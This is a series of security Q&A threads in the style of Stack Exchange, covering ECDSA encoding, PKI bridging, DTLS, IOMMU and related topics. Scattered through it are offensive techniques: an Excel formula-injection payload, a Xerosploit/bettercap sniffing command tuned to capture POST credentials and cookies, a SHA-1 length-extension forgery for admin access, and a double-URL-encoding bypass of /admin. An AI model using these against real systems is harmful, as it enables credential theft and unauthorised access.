Get r and s from ECDSA Signature as two concatenated integers (OpenSSL) EVP_DigestSignFinal() gives me a DER encoded signature.

Some examples:

ECDSA-SHA-256

30 44 02 20 [..r..] 02 20 [..s..]
30 46 02 21 [..r..] 02 21 [..s..]
30 45 02 20 [..r..] 02 21 [..s..]

ECDSA-SHA-224

30 3d 02 1c [..r..] 02 1d [..s..]
30 3c 02 1c [..r..] 02 1c [..s..]

The size can vary and I want to concatenate them. What's a good way to know how many bytes the signature will be long?
Or is there a function in OpenSSL that's already implemented maybe?

The ECDSA signature is encoded as an ASN.1 structure, which is a SEQUENCE of two INTEGER values. When encoded, the first byte will by 0x30 (which means SEQUENCE), followed by the length, encoded over one or two bytes: if length is n bytes, then it will be encoded as a single byte of value n if n ≤ 127, or two bytes of value 0x81 then n, if 128 ≤ n ≤ 255 (the latter case may happen in case you use a "large" curve like P-521). These n bytes are the concatenation of the two INTEGER values, each with its own tag (a byte of value 0x02), then its length (same encoding; in practice, over a single byte, since it would take a 1000-bit or so curve to need more than one), then the INTEGER value. The value of an INTEGER uses signed big-endian (so you may have a leading byte of value 0x00).

Properly encoding and decoding ASN.1 structures is a difficult art. I don't know if OpenSSL has a public function for that. This function, from another SSL library, converts from ASN.1 to "raw" ECDSA signatures ("raw" means: the two integer values are simply encoded in big-endian and concatenated, both being adjusted to have the same encoding length).


Macro injection in different Excel versions I have found a nice macro injection vulnerability in an Excel export functionality. I can inject =1+1 (or worse) into the exported Excel file.

But when opening the file in Excel the formula isn't directly evaluated at startup, it is shown as text. Only after someone double clicks the cell and presses enter is the formula evaluated and the content of the cell changes to 2 (or calc starts up depending on the payload).

I only have access to "newer" versions of Excel (2010 and 365). The Excel versions that I tried have automatic function evaluation on (so normally a function is evaluated directly). The installs are default installations, not super secure.

I think this is still a vulnerability that needs to be fixed, but if it only works when a user does something stupid, then the risk would be something like Medium. While if it would execute directly when opening the file (with a pop-up or whatever) it would be a critical vulnerability that needs to be solved ASAP.

My question is: Is this something that all versions of Excel do? (showing the formula in text and not evaluating automatically). Or would it still be critical in older versions, but new versions need more user input?

Bonus question: Does anyone now a payload that would overwrite this "non evaluate at startup" annoying functionality?

EDIT: Ok after a comment by schroeder I get that this might not be construed as purely security. So let us focus on this part of the exploit: How could I leverage this vulnerability into an exploit? Are there ways to trick people into clicking on the cells and evaluating the functions?

Responsibly report your findings to the program's author, and they will do regression testing on all supported versions.  It's not your responsibility to do their testing for them.

Unfortunately, I don't think Microsoft's Bug Bounty program extends to their Office products.  But you never know; if you can produce an example exploit then it may become a security issue they're willing to pay for.


Are MAC Address Filtering and SSID Hiding still worthwhile? On a recent certification exam, I was presented with a question about ways to secure an 802.11 wireless network.  It was a multiple-answer question, but the only two available answers that related at all to security were addressing SSID Hiding and MAC Address Filtering.

Fortunately, this particular certification was neither wireless- nor security-focused.

I'm aware that these two should definitely not be your only means of securing your wireless network, but are they still really considered worth implementing on top of more sturdy authentication and encryption mechanisms?

They're stumbling blocks, but not insurmountable. SSID hiding can provide some protection from people looking for any SSID they can get their hands on, and MAC filtering can keep casual riffraff out. As the only methods of protecting a WLAN they're pretty weak.

For someone who targets your network specifically, encryption (especially unbroken encryption) will provide vastly better security. MAC spoofing is trivial in most adapters these days, and after you've cracked the network to the point you can monitor in-flight packets, you can get a list of valid MAC addresses. SSID is trivial at that point as well. Due to the automated nature of the toolsets available, MAC filtering and SSID hiding aren't really worth the effort any more. In my opinion.


Malware techiques via Linux Chrome and its effects, non-root Is it possible to visit a website with Chrome on Ubuntu and have that site execute shell code on my machine without explicitly downloading anything nor click on some Chrome execute question/popup? If so, can you explain using a specific example?

I read a few nice articles:

https://askubuntu.com/questions/956494/can-i-get-a-virus-just-by-visiting-a-web-site-on-google-chrome-on-ubuntu-16-04?newreg=744b6041774a4a9794e161e6256c8e36

Ubuntu article

Can you get virus just by visiting a website in Chrome?

I also read articles of how Linux defaults to non-root / non-admin privileges and its benefits. But isn't that pointless if I'm concerned about a malicious user seeing my personal data in my home dir? ($HOME/*)

What I want protection from:

Not able to retrieve my files under $HOME
Not able to identify key strokes / key logger while using a different Chrome tab, or using any of my Ubuntu apps like /usr/bin/ssh

I believe at least once Chrome's sandbox has been broken. I'm not sure exactly what that then implies.

The above Ubuntu post says Chrome's sandboxing "prevents your system from automatically executing bad code onto your system." Does he mean that if Chrome's sandbox is bypassed, the malicious user can still save a file in, for example, my ~/Downloads dir? Furthermore is he saying that, because Chrome is smart enough, Chrome itself will never try to execute a binary/bash script on its own?

These posts are nice but I'm trying to understand the mechanics behind the scenes, and a very specific example would help clear that up for me.

Thank you.

This question looks like it is actually multiple questions asked at once, and the questions are a bit vague. You might get better answers if you break your post up into a few separate more focused questions.

  Is it possible to visit a website with Chrome on
  Ubuntu and have that site execute code on my machine without
  explicitly downloading anything nor click on some Chrome execute
  question/popup? If so, can you explain using a specific example?

Here the question is vague. What do you mean by "execute code"? Of course, your browser will execute a bunch of code every time you access almost every website. Every website sends a bunch of JavaScript code to your browser and your browser executes that code using your CPU (via the JS virtual machine implemented by the browser).

Since this seems fairly obvious, it is not clear to me exactly what you are asking about.

  What I want protection from:

  Not able to retrieve my files under $HOME

In the absence of an exploit to break out of the sandbox you should be pretty well protected here. It would be a huge problem if the browser could read or write files in your home directory. If you find a way to do this probably you can make some money from a bug bounty. But I guess it would entail first finding a way to break out of the sandbox.

  Not able to identify key
  strokes / key logger

Key strokes entered into the browser, like in a form? Again this part of the question is a bit unclear. You would not normally be protected against javascript on the page reading keystrokes entered into a form on the browser page (even prior to form submission). Is this the kind of keystroke you are worried about, or do you mean keystrokes entered into a different application when the browser is running in the background? In this case, again, it would be a major problem if javascript could access those latter keystrokes, so again this would require to break out of the sandbox via some exploit.


Need Explaination to Xerosploit's Sniffer Function code I'm looking at the sourcecode of Xerosploit, and there is a piece of code I don't understand:

cmd_snif = os.system("xettercap " + target_parse + target_ips + "
    -P MYSQL, SNPP, DHCP, WHATSAPP, RLOGIN, IRC, HTTPS, POST, PGSQL, NNTP, DICT, HTTPAUTH, TEAMVIEWER, MAIL, SNMP, MPD, COOKIE, NTLMSS, FTP, REDIS
    -I " + up_interface + " --gateway " + gateway + " -O,
    --log /opt/xerosploit/xerosniff/" + filename + ".log
    --sniffer-output /opt/xerosploit/xerosniff/" + filename + ".pcap")

What exactly is xettercap? What do the options of -P (i.e. "MYSQL, SNPP, DHCP, ...") do? What do they refer to in the sniff logs?

Which options should I use if I want to see just the important things, such as POST data (usernames, passwords, etc.)?

xettercap is part of xerosploit and a wrapper around the now legacy ruby implementation of bettercap.
As such, all the options are just passed down to bettercap. Here is a quick rundown of the options you asked for:

-P, --parsers PARSERS
Comma separated list of packet parsers to enable, * for all ( NOTE: will enable the sniffer ), available:

COOKIE
CREDITCARD
DHCP
DICT
FTP
HTTPAUTH
HTTPS
IRC
MAIL
MPD
MYSQL
NTLMSS
PGSQL
POST
REDIS
RLOGIN
SNMP
SNPP
URL
WHATSAPP

Default is * (enable all)

As for which options to choose if you want to see "important" things depends on what you define as important. You specifically mentioned post data, so I recommend using -P POST at least. The documentation mentioned that enabling all parsers is the default, so I think you can't go wrong with that.


How to eliminate data leaks when accessing encrypted data? Goal: Encrypt/secure and access sensitive files (PDFs, etc.) locally.
Method 1: Store files in a VeraCrypt file-hosted volume (container).
Concern: Data Leaks. When mounting and reading files from a VeraCrypt container, there is a possibility that

. . . operating system and third-party applications may write to unencrypted volumes (typically, to the unencrypted system volume) unencrypted information about the data stored in the VeraCrypt volume . . . or the data itself in an unencrypted form (temporary files, etc.) . . .

Method 2 Store VeraCrypt container as an attachment inside a KeePass 2.x database.
When accessing  a file attachment inside a KeePass 2.x database, the following message appears:

KeePass has extracted the attachment to a (EFS-encrypted) temporary file and opened it using an external application. After view/editing and closing the file in the external application, please choose how to continue:

Import: replace the attachment by the (modified) temporary file.

Discard Changes: discard changes made to the temporary file and do not modify the current attachment.

In any case, KeePass will securely delete the temporary file afterwards.

Questions

Does method 2 address data leak vulnerabilities present when accessing files via method 1?
Is there a "better" way to secure and access files?

Does method 2 address data leak vulnerabilities present when accessing files via method 1?

Not at all. It just ensures that the already-protected VeraCrypt container will be saved to an encrypted space when extracted for mounting and removed safely on unmount.

All applications used to open and process the files stored inside the VeraCrypt container will behave in the same way as in the method 1 and the possibility of storing temporary files on non-protected disks remains.

  Is there a "better" way to secure and access files?

For the concern specified in the question: the machine used to run the applications opening/processing the files must use full disk encryption for all its disks.

This KeePass feature is intended to protect for example a plain text file stored in the KeePass database. When you open such file, KeePass has to save it in the filesystem so that an application (like Notepad) can open it (because Notepad does not know how to read directly from the KeePass database).

KeePass ensures no trace of this file, which KeePass itself temporarily saves in the filesystem, will remain. But it cannot limit what the application can do with this file/data. Applications run in a regular namespace (they are not sandboxed by KeePass in any way) and can store temporary files wherever they "want" (i.e. were configured to).


Reliability of scanning tools on icmp timestamp responses A security auditor has done a vulnerability scan of our network and found that one of our server has returned an TCP timestamp response such that the scanner (Nmap) is able to guess the uptime of the server.

Does this constitute a real threat and should I be concerned? Sometimes, the scanner can guess wrongly...

one of our server has returned a icmp time stamp response such that the scanner (nmap) is able to guess the uptime of the server. Does this constitute a real threat and should I be concerned?

It is an informational threat.  It allows an attacker to gather information that may be useful in determining what other attacks might work.  For example, if nmap can tell me that it looks like a Centos OS and it has an uptime of 60 days, then I I know that any kernel security update packages released in the last two months have not been installed and activated.  As a result, I may be able to determine which attacks against that system are likely to work.

For an internal server, you should only be mildly concerned.  For an Internet facing server, you should be slightly more concerned, and should limit ICMP access to that server as a matter of best practices.  But this is not a major concern in either scenario.

In any case, if the OS vendor has a patch or a configuration workaround, you should apply it - no reason not to, and it might even help.

For a minor issue like this, the largest concern is usually placating your auditor.  If this is the biggest thing they find, you're doing well!


Is an AIA or CRL useful / required at the Root CA if that Root is used to cross certify another PKI? Suppose I have several independent PKIs that are used

Two internal PKIs: One with SHA1 support the other with Suite B algorithms.
A partner who I trust and have a policy map with.

Since both my PKIs have offline roots, and during chain validation the roots will be in the middle of the computed "chain" (depending on who is validating which certificate), should my offline roots have an AIA or CRL?

The Authority Information Access extension is used to publish in a given certificate:

where a copy of the issuer's certificate may be downloaded;
at which address / URL an OCSP server may be found, which will yield fresh revocation information on the certificate which contains the AIA.

See section 4.2.2.1 of RFC 5280.

Both usages make sense only in a certificate which is meant to have an issuer, i.e. a certificate which is not the first certificate in a validation path. The first certificate in a path is the "trust anchor", aka "the root CA": this is the name+key in which you trust "by definition", not because of a delegation from some issuer. As such, trust anchors have no issuer and no revocation status (they cannot be revoked by some upper CA; at best, you manually decide to cease to trust them). Trust anchors (root CA) are represented as certificates out of tradition but extensions in a root CA make little sense (when such extensions are used, this is often with a semantic which is quite distinct from what the extension usually embodies).

There is a possible confusion which you must learn to avoid: a CA is not the same thing as a CA certificate. A Certification Authority is an entity which has a name (an X.500 Distinguished Name) and a key. That name and that public key can be copied into several distinct certificates. This is common in the situation where two hierarchical PKI decide to "trust each other". Consider two PKI, called (unimaginatively) "A" and "B". Each PKI consists in:

a root CA (called "root_A" and "root_B", respectively), which we can imagine as an offline system with a Hardware Security Module;
a subordinate CA (called "sub_A" and "sub_B", respectively), which is an online system, possibly also with a HSM, and which issues the end-entity certificates;
end-entity certificates.

Each CA, be it online or offline, must publish revocation information on a regular basis, so we must assume that even for the offline CA, there is an online server somewhere, where an adequate CRL is pushed through some manual procedure (or possibly automatically if there is a one-way network link from the root to the online server -- the one-wayness of the link allowing to maintain the offlineness of the CA).

Before PKI A and B decide to trust each other, some certificates exist, with the following characteristics:

The name and key of root_A are published as a self-signed certificate, and a copy of that certificate is available on: http://serverA.com/root_A.cer
The name and key of sub_A are published as a certificate, signed by root_A, with an AIA which points at the URL where root_A.cer is made available. A copy of the certificate for sub_A is available on: http://serverA.com/sub_A.cer
In each end-entity certificate published by sub_A is an AIA which contains the URL on which sub_A.cer resides.
Similarly for PKI B.

Thus, a verifier who wants to validate an end-entity certificate from PKI A follows the AIA extensions to download all required certificates, i.e. sub_A.cer. The verifier may also download root_A.cer but this is hardly necessary, since, for validation to succeed, the verifier must already have a copy of this self-signed certificate. Pointers to OCSP servers (also in the AIA) and to CRL (as CRL Distribution Points extensions) follow the same pattern, although, in that case, the pointer to the CRL/OCSP from root_A is not superfluous (verifiers must check that sub_A is not revoked).

Now comes the covenant by which A and B decide to bind their fates, mingle their blood, and generally be best friends forever. To that effect, PKI A and B will "merge", or at least be linked with what is usually known as a "bridge CA". The point is to allow people who trust root_A to automatically accept the end-entity certificates from PKI B as valid. There are mostly four ways to achieve this:

Root_A issues a new certificate for root_B: the certificate contains the name and key of root_B, but this certificate is not self-signed; instead, it is signed by root_A. Let's call bridge_AB.cer this new certificate. Being issued by root_A, this certificate contains an AIA which points at root_A.cer and the OCSP server which maintains revocation status of certificates issued by root_A.

Since no existing certificate has been altered or revoked or deprecated in any way, people who trust root_B (as a trust anchor) can keep on validating EE certificates from PKI B, as before. For such an EE certificate, the path to validate will be root_B->sub_B.cer->EE for people who have root_B as a trust anchor; for people who have only root_A as a trust anchor, the path will be root_A->bridge_AB.cer->sub_B.cer->EE.

For this process to work automatically, involved certificates should contain AIA extensions which allow the reconstruction of both chains. In that case, it suffices to replace the root_B.cer (on the serverB.com server) with a copy of bridge_AB.cer, but under the name root_B.cer. Thus, the AIA in sub_B.cer now points to bridge_AB.cer, without needing to change any single bit of sub_B.cer. People who trust root_B can use it directly, they don't even look at the AIA in sub_B.cer (at least for path reconstruction); people who trust root_A only follow the AIA and rebuild the path which begins with root_A. Everything is fine.

Replacing root_B.cer with the bridge certificate works only as long as there are only two PKI. If a third PKI C joins them in a ménage-à-trois, a more generic method must be employed: a new certificate is issued for sub_B: that certificate will contain an AIA which points at all the certificates for root_B: the old self-signed certificate, bridge_AB.cer, bridge_CB.cer, and so on. The AIA format allows for containing several URI. That new certificate for sub_B can be published as sub_B.cer, replacing the previous one.
Root_A issues a new certificate for sub_B. Since this new certificate is issued by root_A, it contains an AIA which points to root_A.cer. Let's call sub_AB.cer this new certificate.

At that point, we have an issue with regards to path building. An EE certificate from PKI B still contains an AIA which points to sub_B.cer on server serverB.com. If we replace sub_B.cer with the new certificate issued by root_A (sub_AB.cer), then path building finishes on root_A with no possibility to plug back to root_B: validation for people who trust root_B only is now broken. The generic solution would be to reissue all EE certificates, with a new AIA which points at both certificates for sub_B (the one issued by root_B, and the one issued by root_A). However, mass reissuing is expensive. An alternative way is to "make available" sub_AB.cer to people who want to verify certificates. There is a certificate store in Windows meant for that (called "Intermediate CA"). Even though this certificate will not be referenced in AIA, software should be smart enough to use it where necessary. Since an intermediate CA is not a priori trusted, mass deployment of such a certificate is less problematic than deploying a new trust anchor.
Sub_A issues a certificate for root_B. Treatment is similar to the case 1.
Sub_A issues a certificate for sub_B. Treatment is similar to the case 2.

These four methods are for delegation of trust from PKI A to PKI B, allowing people who trust in root_A to validate EE certificates from PKI B. For a full bridge, the other direction must also be done (people who trust in root_B should be able to validate EE certificates from PKI A). It is not necessary for both bridges to follow the same topology (but the fancier you get, the more confusing the whole thing becomes).

The salient points are that:

Any CA can have several certificates, which contain the same name and key. A given certificate (EE or CA) has a single issuer (the entity which signed the certificate) but any certificate containing the name and key of that issuer can be plugged at that point in the path. Correspondingly, certificate paths may merge (X.509 explicitly prohibits full loops).
The AIA extensions are used to help in path building, by pointing to potential certificates for the issuer. Use of these certificate is not mandatory; mass deployment of intermediate CA certificates is a viable alternative (at least in organized networks which offer facilities for that, e.g. Active Directory servers).
None of this is impacted by policy mappings. It is the other way round: if PKI A and B use certificate policies, and both have their own distinct OID, then the bridge will have to include a mapping, so that verifiers can follow the policies through all paths that the may build.


Hash extension(padding) attack I recently came across this website talking about sha1 padding attack.

https://web.archive.org/web/20140729003849/http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/

After reading here are some of my doubts:

How do the server side checks the signature? Even after successful
padding, the sha1 hash is still different from the validate signature
isn't it?

For example:
secretkey = key1
username = shaun
role = 1
sha1 hash : b7de8c16d9f42394b51e0c1c86c36a4b9bca8d49

secretkey = key1
username = shaun
role = 0
sha1 hash : 4e86a40776a282816ee0654cb2ec8a3fb2bd25e5

Can someone please explain to me which part do I get it wrongly? Thanks a lot :)

In this example, the server code looks like this:

Incoming value is "X|Y" -> split between "X" and "Y"
Compute id = Un-Base64(X)
Compute h = SHA-1(secret_key + id)
If the hexadecimal value of h is not equal to Y, then deny access
id is "user|role" with "role" being either 0 or 1; so, if id ends with "|0",
grant administrator access.

secret_key, of course, is unknown to the attacker. But the attacker can try to guess the length of that key, if only by trying different lengths; in that example, secret_key has length 25 bytes.

SHA-1 suffers from the length extension attack (like all Merkle–Damgård hash functions). See this answer for detailed explanations; bottom-line is that by knowing the length of secret_key, the attacker can compute a special "id" string like this:

id2 = aaaa|1somebytes|0

where somebytes include the SHA-1 standard padding, and then the attacker can compute the appropriate hash value for that "id", starting with the known SHA-1 value (the one for aaaa|1) and without knowing secret_key (that's the point of the "length extension attack": computing h(m') where m' starts with an unknown m, but with h(m) known).

The server will believe the provided "id" string to be genuine, and grant administrator rights to a user named "aaaa|1somebytes".


How URL Encoding Works? I am learning about web security but very confused about URL Encoding, it will be big help if anyone can help.

On PortSwigger, I learned that url
"http://127.0.0.1/admin"
can be used as
"http://127.0.0.1/%2561dmin"
by encoding 'a' as  '%61' and then encoding again % and it will become "%2561"

Now when I am trying on my local computer, then single URL encoding works
"http://127.0.0.1/%61dmin"

But double URL encoding not works "http://127.0.0.1/%2561dmin"

So I am confused about how server knows how many time it have to decode URL, And is this always the case or it will only works in some cases as it not working in my localhost and some other places I tried.

So I am confused about how server knows how many time it have to decode URL

Always only once. And this is true for other encodings too, i.e. binary data in mails are encoded once with base64 or quoted-printable, unicode is encoded once with utf-8, HTML encoding is applied once for characters like < etc in HTML etc.


Privacy issues with email providers I am looking for an email provider (or for a way to do it myself) that will not divulge my personal information under no circumstances. I found out that getting this information with a order for example, is not that difficult and companies such as Google (Gmail) are required by law to comply. Is there a company that will not give my personal information when asked so by a lawyer? Not because they don't want to (again, not sure if it's possible) but because they delete all the info's related with my account when the session ends (e.g. logs, ip address etc.).

Also, what is the best way to approach this matter? Thanks.

I'm not so sure you are attacking this from the right direction.

Trusting a 3rd party means you are already at risk
Assembling a lot of data at one point is a huge risk
Connecting to a 3rd party means they might have logs of IP addresses (like your connection to get email and SMTP senders)

Very Paranoid

If you want to be truly paranoid, you would want encrypted and signed emails, an anonymous account somewhere, and a way to hide your IP address using a proxy (maybe TOR?).  You would also want your senders to carry out the same steps so you can't be tracked down via them.  As you get more paranoid, you might want a different email address for each sender, and still more yet.

(i don't have time to write more, but i think there might be some good compromises to make it usable and more private)


Second hand pc safety tips? Edit:
Thanks for all the help, found a BIOS version and updated them all and gutman'd them all. everything is working well and nothing has died so all my paranoia paid off... or there was nothing there in the first place and it was a waste of time :D haha but thank you guys for all your help, was a good learning experience at least :)

I have looked around and read a lot of people saying it's difficult to be sage when dealing with a second hand pc. But thought I might give the situation to you guys and see what you guys think is necessary to do.

I have just purchased 3 old school computers ( this is what I am told they are used for and one booted with department of education warnings) so it seems safe so far. I am currently running KillDisk  (gutman) on them and then following to install Linux.

One of them is going to be scraps for testing a few old pcs I have that aren't working to see if I can fix them.

One will be for me to learn and practice using a Linux set up.

And the last will be for my sister to use to practice her typing.

Ideally they will join the network for updates and my practicing and also in future for my sister once I know what im doing on Linux.

My only concern is will the network be safe after gutman and Linux install. Honestly I think I'm looking for peace of mind but if there are tips and tricks I use please suggest. Ideally want to get one of them up and running for my sister as soon as possible (this won't need the Internet... yet)

Mostly a bit sceptic due to the price($10 each) but they seemed to just want to get rid of them as they are quite outdated( C2D desktop)

Thanks in advance I look forward to your thoughts and opinions and the occasional tin hat joke :)

As long as you delete the existing partitions and start from scratch, the risks are very low indeed.

There would only be two realistic risks.

Firstly that some kind of rogue hardware had been attached that could insert code to a rebuilt machine - wildly unlikely!

Secondly that the BIOS had been compromised. This is slightly more realistic a risk but still tiny.


Transfer encrypted objects and decrypt in browser Im building a webclient where a tensorflow model needs to run in the browser. I would want the Model to be protected so that it cant be just downloaded off "Developer tools". The model has to be encrypted and transferred and then decrypted at the client. What would be the best way to implement such a feature ?

If you want to prevent the users of the client from using the model you send them, you need some form of DRM.

There are posts about why you will fail.


What changed between TLS and DTLS What did the DTLS (TLS over UDP) authors have to change so that it could run without TCP?

Bonus points:
Do any of the protocol difference affect the way it should be used, both in terms of interface but also best-practices?

DTLS is currently (version 1.2) defined in RFC 6347 by explaining the differences with TLS 1.2 (RFC 5246). Most of the TLS elements are reused with only the smallest differences.

The context is that the client and the server want to send each other a lot of data as "datagrams"; they really both want to send a long sequence of bytes, with a defined order, but do not enjoy the luxury of TCP. TCP provides a reliable bidirectional tunnel for bytes, where all bytes eventually reach the receiver in the same order as what the sender used; TCP achieves that through a complex assembly of acknowledge messages, transmission timeouts, and reemissions. This allows TLS to simply assume that the data will go unscathed under normal conditions; in other words, TLS deems it sufficient to detect alterations, since such alterations will occur only when under attack.

On the other hand, DTLS works over datagrams which can be lost, duplicated, or received in the wrong order. To cope with that, DTLS uses some extra mechanisms and some extra leniency.

Main differences are:

Explicit records. With TLS, you have one long stream of bytes, which the TLS implementation decides to split into records as it sees fit; this split is transparent for applications. Not so with DTLS: each DTLS record maps to a datagram. Data is received and sent on a record basis, and a record is either received completely or not at all. Also, applications must handle path MTU discovery themselves.
Explicit sequence numbers. TLS records include a MAC which guarantees the record integrity, and the MAC input includes a record sequence number which thus verifies that no record has been lost, duplicated or reordered. In TLS, this sequence number (a 64-bit integer) is implicit (this is always one more than the previous record). In DTLS, the sequence number is explicit in each record (so that's an extra 8-byte overhead per record -- not a big deal). The sequence number is furthermore split into a 16-bit "epoch" and a 48-bit subsequence number, to better handle cipher suite renegotiations.
Alterations are tolerated. Datagrams may be lost, duplicated, reordered, or even modified. This is a "fact of life" which TLS would abhor, but DTLS accepts. Thus, both client and server are supposed to tolerate a bit of abuse; they use a "window" mechanism to make sense of records which are "a bit early" (if they receive records in order 1 2 5 3 4 6, the window will keep the record "5" in a buffer until records 3 and 4 are received, or the receiver decides that records 3 and 4 have been lost and should be skipped). Duplicates MAY be warned upon, as well as records for which the MAC does not match; but, in general, anomalous records (missing, duplicated, too early beyond window scope, too old, modified...) are simply dropped.

This means that DTLS implementation do not (and, really, cannot) distinguish between normal "noise" (random errors which can occur) and an active attack. They can use some threshold (if there are too many errors, warn the user).
Stateless encryption. Since records may be lost, encryption must not use a state which is modified with each record. In practice, this means no RC4.
No verified termination. DTLS has no notion of a verified end-of-connection like what TLS does with the close_notify alert message. This means that when a receiver ceases to receive datagrams from the peer, it cannot know whether the sender has voluntarily ceased to send, or whether the rest of the data was lost. Note that such a thing was considered one of the capital sins of SSL 2.0, but for DTLS, this appears to be OK. It is up to whatever data format which is transmitted within DTLS to provision for explicit termination, if such a thing is needed.
Fragmentation and reemission. Handshake messages may exceed the natural datagram length, and thus may be split over several records. The syntax of handshake messages is extended to manage these fragments. Fragment handling requires buffers, therefore DTLS implementations are likely to require a bit more RAM than TLS implementations (that is, implementations which are optimized for embedded systems where RAM is scarce; TLS implementations for desktop and servers just allocate big enough buffers and DTLS will be no worse for them). Reemission is done through a state machine, which is a bit more complex to implement than the straightforward TLS handshake (but the RFC describes it well).
Protection against DoS/spoof. Since a datagram can be sent "as is", it is subject to IP spoofing: an evildoer can send a datagram with a fake source address. In particular a ClientHello message. If the DTLS server allocates resources when it receives a ClientHello, then there is ample room for DoS. In the case of TLS, a ClientHello occurs only after the three-way handshake of TCP is completed, which implies that the client uses a source IP address that it can actually receive. Being able to DoS a server without showing your real IP is a powerful weapon; hence DTLS includes an optional defense.

The defensive mechanism in DTLS is a "cookie": the client sends its ClientHello, to which the server responds with an HelloVerifyRequest message which contains an opaque cookie, which the client must send back as a second ClientHello. The server should arrange for a type of cookie which can be verified without storing state; i.e. a cookie with a time stamp and a MAC (strangely enough, the RFC alludes to such a mechanism but does not fully specify it -- chances are that some implementations will get it wrong).

This cookie mechanism is really an emulation of the TCP three-way handshake. It implies one extra roundtrip, i.e. brings DTLS back to TLS-over-TCP performance for the initial handshake.

Apart from that, DTLS is similar to TLS. Non-RC4 cipher suites of TLS apply to DTLS. DTLS 1.2 is protected against BEAST-like attacks since, like TLS 1.2, it includes per-record random IV when using CBC encryption.

To sum up, DTLS extra features are conceptually imports from TCP (receive window, reassembly with sequence numbers, reemissions, connection cookie...) thrown over a normal TLS (the one important omission is the lack of acknowledge messages). The protocol is more lenient with regards to alterations, and does not include a verified "end-of-transmission" (but DTLS is supposed to be employed in contexts where this would not really make sense anyway).

The domain of application of DTLS is really distinct from that of TLS; it is meant to be applied to data streaming applications where losses are less important than latency, e.g. VoIP or live video feeds. For a given application, either TLS makes much more sense than DTLS, or the opposite; best practice is to choose the appropriate protocol.


Why do we have to specify HTTP proxy specs when inside a LAN that is behind a proxy server? Following this post, outgoing traffic will go through the proxy only if the requesting app knows the proxy url, if it doesn't then sending the request out of the LAN is denied by the proxy.

In this case it's like the app saying to the LAN "I'd like to get this from the web", and the LAN's proxy answering "No, you didn't say Simon Says".

Why is the proxy acting like this instead of just intercepting the request, doing necessary security check, and sending the request to the outside ?

And, obviously the LAN knows the proxy url, then why the need for the app to specify it when it wants to send HTTP requests outside the LAN ?

There are different kinds of proxies and explicit configuration is only needed in some cases:

Transparent proxies don't need any kind of configuration, they just need to be in the path of the traffic. The client is not really aware of the proxy in this case. DNS resolution will be done at the client. To get the proxy in the path typically some ports on the perimeter firewall are redirected to the local proxy, which means that the proxy will only cover these ports. The functionality might also be integrated in some DPI solution (like NGFW) where the kind of analysis depends on the detected application protocol and is independent of the port.
Explicit HTTP proxies are configured at each client. They don't need to be in the normal path of the traffic. They are not specific to some ports, instead the browser will send any HTTP traffic via the configured proxy. Contrary to a transparent proxy an explicit proxy can require explicit authentication by the client against the proxy. DNS lookup will be done at the proxy.


Does the US government protect its physical internet lines in the US? It seems like there are lots of ways to prevent man in the middle attacks.   I've read many on here and on the rest of the internet.  According to wiki you need a secure channel as well to completely safeguard against it.  I have two questions in regards to preventing it in the real world.

Does the US government monitor 100% of the lines dug in the US?  Obviously (hopefully) data centers are secured but what is there to stop someone from driving out into the desert and physically tapping into a line?

In that scenario, is there anything that can be done by two nodes to detect someone started eaves dropping? (Maybe more of a physics question?)  Are there any protocols like this already?

This question is in the scope of public key cryptography because if you have a secure channel you can just exchange a new key as needed.

Physical surveillance of millions of miles of buried cables would be preposterously expensive. The US government already fails at efficiently preventing illegal immigration across the Mexican/USA boundary, which is one or two orders of magnitude shorter than the total length of cables.

Instead, US government does things like everybody else: with encryption (or so we hope, at least). A good encrypted tunnel (e.g. SSL) keeps attackers at bay.

Encryption ensures confidentiality. A good tunnel also provides data integrity, in the following sense: alterations are reliably detected. However, if an attacker uses a shovel to get to the cable, he can cut it (it has happened). To make communications more resilient, one must use redundancy; see this answer (when the attacker wields nuclear weapons, you have to think big in terms of redundancy).


Does IOMMU protect against malware insertion through PCI Network card/Sound card DMA? I've just read about this:
https://www.tripwire.com/state-of-security/security-data-protection/backdoors-hardware-attacks-rakshasa-malware/

Asides from the question in the title, I'd also like to add the following question:

Is it possible to flash the firmware of the Sound Card so that it would load malicious code through DMA or take control of the Audio Drivers which has high privileges in a Windows machine then have it contact the C2 server?

If this is all possible then does that mean that just plugging an infected PCIe Sound card to practically any PC may it be running Windows or Linux be already compromised despite enabling and proper configuration of IOMMU such as actually setting it as ENABLED in BIOS and setting intel_iommu=on/amd_iommu=on in Linux? This is in assumption that everything else is clean except the Sound card.

The IOMMU will not protect against that unless combined with measured boot. While an IOMMU will protect from rogue DMA, that only applies after it has been initialized. In particular, since it would be necessary to enable measured boot, a TPM is required. There are two kinds of measured boot, called SRTM and DRTM. The former measures firmware once while the system is starting, whereas the latter measures a portion of software at runtime. In order to protect from an early DMA attack, it is necessary to use DRTM, instead of just SRTM, for measurement. This usually requires manual configuration.

The IOMMU is vulnerable during early boot because the IOMMU configuration tables (DMAR) are initialized in a region of memory that is not protected. During the brief period between loading the configuration and enabling the IOMMU, a malicious device could modify them, voiding the protection it is supposed to provide. This is explained in a research paper on bypassing IOMMU protections.

This is only a risk if you boot up the system with a malicious or compromised PCIe card already installed. If one is plugged in while the system is on, or an existing card is compromised (e.g. via JTAG) while the system is on, a properly configured IOMMU should be enough to prevent the device from issuing malicious DMA requests. This requires functional DMA Remapping tables, or DMAR, which is an ACPI table included with the BIOS. If the DMAR is broken, which is often the case with certain laptops, the system may not boot correctly with the IOMMU enabled via intel_iommu=on or amd_iommu=on.


Is it always better to put authorized_keys in one's own .ssh directory rather than in root's .ssh directory? I connect via ssh to multiple Linux servers during the day from my Mac's Terminal window.

On my Mac I have the public and private keys in my .ssh directory.

On the Linux servers I always use "sudo su" after logging in to do what I need.

Right now I have my public key in the .ssh directory of my home directory on Linux, in the authorized_keys file. That way I can login without sending a password.

But I notice, since I have su access, that I could create an authorized_keys file in the .ssh directory inside ~root. Then to access I could ssh as root instead of my username.

The advantage is just that I wouldn't have to do sudo su after logging in, thus saving a step.

The disadvantage is that if everybody with su access did this we wouldn't know who was logged in at any time via the users command. It would always just show root.

It seems "too easy" to be able to add my public key to the ~root/.ssh directory though.

What is considered best practice in this case? Is it "better" in general to login with my own account and then do sudo su as needed?

Note I'm not asking whether it is safe to ssh in as root or not, which has been discussed elsewhere. Since I'm doing "sudo su" anyway, I'm always becoming root, and the handful of users with accounts on these machines can all do that, and need to do that to accomplish their tasks.

What I do all the time is (1) login; (2) sudo su; (3) cd to a certain directory; (4) do what needs to be done and exit. I do this dozens of times a day on multiple servers.

